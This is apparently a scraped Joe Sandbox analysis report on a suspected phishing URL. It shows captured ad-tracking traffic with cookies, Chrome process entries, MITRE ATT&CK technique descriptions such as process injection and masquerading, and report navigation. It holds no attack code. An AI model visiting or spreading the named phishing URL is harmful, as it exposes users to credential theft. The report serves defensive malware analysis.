2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 22 68 74 74 70 3a 2f 2f 6c 6f 63 61 6c 68 6f 73 74 5c 22 2c 5c 22 68 74 74 70 73 3a 2f 2f 6c 6f 63 61 6c 68 6f 73 74 5c 22 2c 5c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 63 6d 70 2e 61 64 76 65 72 74 69 73 69 6e 67 2e 63 6f 6d 2f 5c 22 2c 5c 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 79 61 68 6f 6f 6d 65 64 69 61 2e 6e 65 74 5c 22 2c 5c 22 68 74 74 70 73 3a 2f 2f 71 61 2d 63 64 6e 2e 63 6d 70 2e 61 64 76 65 72 74 69 73 69 6e 67 2e 63 6f 6d 2f 5c 22 2c 5c 22 68 74 74 70 73 3a 2f 2f 61 64 2d 66 6f 72 6d 61 74 73 2e 61 64 76 65 72 74 69 73 69 6e 67 2e 61 6f 6c 2e 63 6f 6d 2f 5c 22 2c 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 5c 22 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 65 7c 7c 5c 22 5c 22 2c 6e 3d 21 31 2c Data Ascii: "http://localhost\",\"https://localhost\",\"https://cdn.cmp.advertising.com/\",\"https://cdn.yahoomedia.net\",\"https://qa-cdn.cmp.advertising.com/\",\"https://ad-formats.advertising.aol.com/\",\"https://s.yimg.com/\"];!function(e){for(var t=e\|\|\"\",n=!1,
2024-01-10 23:27:41 UTC	1300	IN	Data Raw: 5c 22 5c 22 3b 69 66 28 43 2e 74 61 67 2e 61 73 73 65 74 73 29 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 43 2e 74 61 67 2e 61 73 73 65 74 73 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 69 66 28 43 2e 74 61 67 2e 61 73 73 65 74 73 5b 6e 5d 2e 75 73 61 67 65 54 79 70 65 3d 3d 3d 65 29 7b 74 3d 43 2e 74 61 67 2e 61 73 73 65 74 73 5b 6e 5d 3b 62 72 65 61 6b 7d 72 65 74 75 72 6e 20 74 7d 2c 73 65 74 42 6c 75 72 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 66 6f 72 28 76 61 72 20 6e 3d 5b 5c 22 66 5c 22 2c 5c 22 77 65 62 6b 69 74 46 5c 22 2c 5c 22 6d 6f 7a 46 5c 22 2c 5c 22 6f 46 5c 22 2c 5c 22 6d 73 46 5c 22 5d 2c 61 3d 7b 7d 2c 6f 3d 30 3b 6f 3c 6e 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 61 5b 5c 22 5c 22 2e 63 6f 6e 63 61 74 28 6e 5b 6f 5d 2c 5c 22 69 6c 74 65 72 5c 22 Data Ascii: \"\";if(C.tag.assets)for(var n=0;n<C.tag.assets.length;n++)if(C.tag.assets[n].usageType===e){t=C.tag.assets[n];break}return t},setBlur:function(e,t){for(var n=[\"f\",\"webkitF\",\"mozF\",\"oF\",\"msF\"],a={},o=0;o<n.length;o++)a[\"\".concat(n[o],\"ilter\"

Session ID	Source IP	Source Port	Destination IP	Destination Port
748	192.168.2.4	50601	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:41 UTC	1660	OUT	POST /p?s=2023538075&t=1704929260390&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&errorMessage=&id=sda-MAST-iframe&loc=top_center&renderCount=0&sourceType=native&status=succeeded HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
2024-01-10 23:27:41 UTC	503	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:41 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:41 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Target ID:	0
Start time:	00:26:02
Start date:	11/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	00:26:05
Start date:	11/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=1784,i,10381931829972105823,15451008937242918815,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	00:26:08
Start date:	11/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	C:\Program Files\Google\Chrome\Application\chrome.exe" "https://see-eim.pages.dev/login_files/loga
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:27:15
Start date:	11/01/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --mojo-platform-channel-handle=8244 --field-trial-handle=1784,i,10381931829972105823,15451008937242918815,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://see-eim.pages.dev/login_files/loga

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

HTML

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 177

Chrome Cache Entry: 178

Chrome Cache Entry: 179

Chrome Cache Entry: 180

Chrome Cache Entry: 181

Chrome Cache Entry: 182

Chrome Cache Entry: 183

Chrome Cache Entry: 184

Chrome Cache Entry: 185

Chrome Cache Entry: 186

Chrome Cache Entry: 187

Chrome Cache Entry: 188

Chrome Cache Entry: 189

Chrome Cache Entry: 190

Chrome Cache Entry: 191

Chrome Cache Entry: 192

Chrome Cache Entry: 193

Chrome Cache Entry: 194

Chrome Cache Entry: 195

Chrome Cache Entry: 196

Chrome Cache Entry: 197

Chrome Cache Entry: 198

Chrome Cache Entry: 199

Chrome Cache Entry: 200

Chrome Cache Entry: 201

Chrome Cache Entry: 202

Windows Analysis Report
https://see-eim.pages.dev/login_files/loga